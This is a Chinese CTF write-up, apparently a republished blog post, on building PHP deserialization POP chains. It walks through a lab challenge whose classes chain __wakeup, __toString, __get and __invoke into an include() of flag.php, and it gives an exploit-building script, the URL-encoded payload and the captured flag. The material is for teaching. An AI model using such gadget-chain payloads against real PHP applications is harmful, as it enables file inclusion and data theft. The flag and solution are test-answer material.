当前位置:   article > 正文

php反序列化之pop链构造

php反序列化之pop链构造

常见魔术方法的触发

__construct()    //创建类对象时调用
__destruct()    //对象被销毁时触发
__call()    //在对象中调用不可访问的方法时触发
__callStatic()    //在静态方式中调用不可访问的方法时触发
__get()    //调用类中不存在变量时触发(找有连续箭头的 this->a->b)
__set()    //给一个未定义的属性赋值时触发
__isset()    //在不可访问的属性上调用isset()或empty()触发
__unset()    //在不可访问的属性上使用unset()时触发

__sleep()    //使用serialize()时触发

__wakeup()    //执行unserialize()时触发
__toString()    //当对象被当做字符串时自动调用(找echo $this->a这种、strtolower()等)
__invoke()    //对象被当做函数进行调用时触发(找有括号的类似$a()这种)

__set_state()     //使用var_export()时触发

__clone()    //对象复制完成时调用

__autoload()    //实例化一个未定义的类时触发

__debugInfo()    //使用var_dump时触发

下面基于重庆橙子科技靶场讲解演示

题目源码:

  1. <?php
  2. //flag is in flag.php
  3. highlight_file(__FILE__);
  4. error_reporting(0);
  5. class Modifier {
  6. private $var;
  7. public function append($value)
  8. {
  9. include($value);
  10. echo $flag;
  11. }
  12. public function __invoke(){
  13. $this->append($this->var);
  14. }
  15. }
  16. class Show{
  17. public $source;
  18. public $str;
  19. public function __toString(){
  20. return $this->str->source;
  21. }
  22. public function __wakeup(){
  23. echo $this->source;
  24. }
  25. }
  26. class Test{
  27. public $p;
  28. public function __construct(){
  29. $this->p = array();
  30. }
  31. public function __get($key){
  32. $function = $this->p;
  33. return $function();
  34. }
  35. }
  36. if(isset($_GET['pop'])){
  37. unserialize($_GET['pop']);
  38. }
  39. ?>

这种有很多类的 PHP 代码多半是需要构造pop链

代码审计:

简单看一下,需要给 pop 传参,并且会对传入内容进行反序列化操作

这里有三个类:Modifier、Show、Test

先找链尾,即:eval、flag 这些危险函数或者关键字

在第一个类中,找到输出 flag 的地方,发现需要调用append函数

调用append函数往上看发现需要触发 __invoke()

该魔术方法是当对象被当做函数进行调用时触发(找有括号的类似$a()这种)

在 Test 类中找到

再网上看发现需要触发__get() 

调用类中不存在变量时触发(找有连续箭头的 this->a->b)

在 Show 类中找到

注意:这里的这个source并不是类Show中的 public $source,而是str下新的一个source。

继续往上发现需要触发__toString()   

当对象被当做字符串时自动调用

找 echo , 也在Show类中,但我们也需要再对其实例化一遍

再往上就是__wakeup()函数

执行unserialize()时会自动调用,这里就是链头

按照上述顺序,编写pop链脚本

注意需要给private $var赋初值为flag.php,再通过include文件包含显示出flag的内容

由于这里涉及到私有变量(结果需要添加%00)

因此对结果进行url编码后再输出即可避免这个缺失的问题

  1. <?php
  2. class Modifier {
  3. private $var = 'flag.php';
  4. public function append($value)
  5. {
  6. include($value);
  7. echo $flag;
  8. }
  9. public function __invoke(){
  10. $this->append($this->var);
  11. }
  12. }
  13. class Show{
  14. public $source;
  15. public $str;
  16. public function __toString(){
  17. return $this->str->source;
  18. }
  19. public function __wakeup(){
  20. echo $this->source;
  21. }
  22. }
  23. class Test{
  24. public $p;
  25. public function __construct(){
  26. $this->p = array();
  27. }
  28. public function __get($key){
  29. $function = $this->p;
  30. return $function();
  31. }
  32. }
  33. $m = new Modifier();
  34. $t = new Test();
  35. $t->p = $m;
  36. $s = new Show();
  37. $s->str = $t;
  38. $s1 = new Show();
  39. $s1->source = $s;
  40. echo urlencode(serialize($s1))
  41. ?>

运行结果: 

构造payload:

?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A13%3A%22%00Modifier%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

回显flag:

ctfstu{5c202c62-7567-4fa0-a370-134fe9d16ce7}

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/article/detail/40778
推荐阅读
相关标签
  

闽ICP备14008679号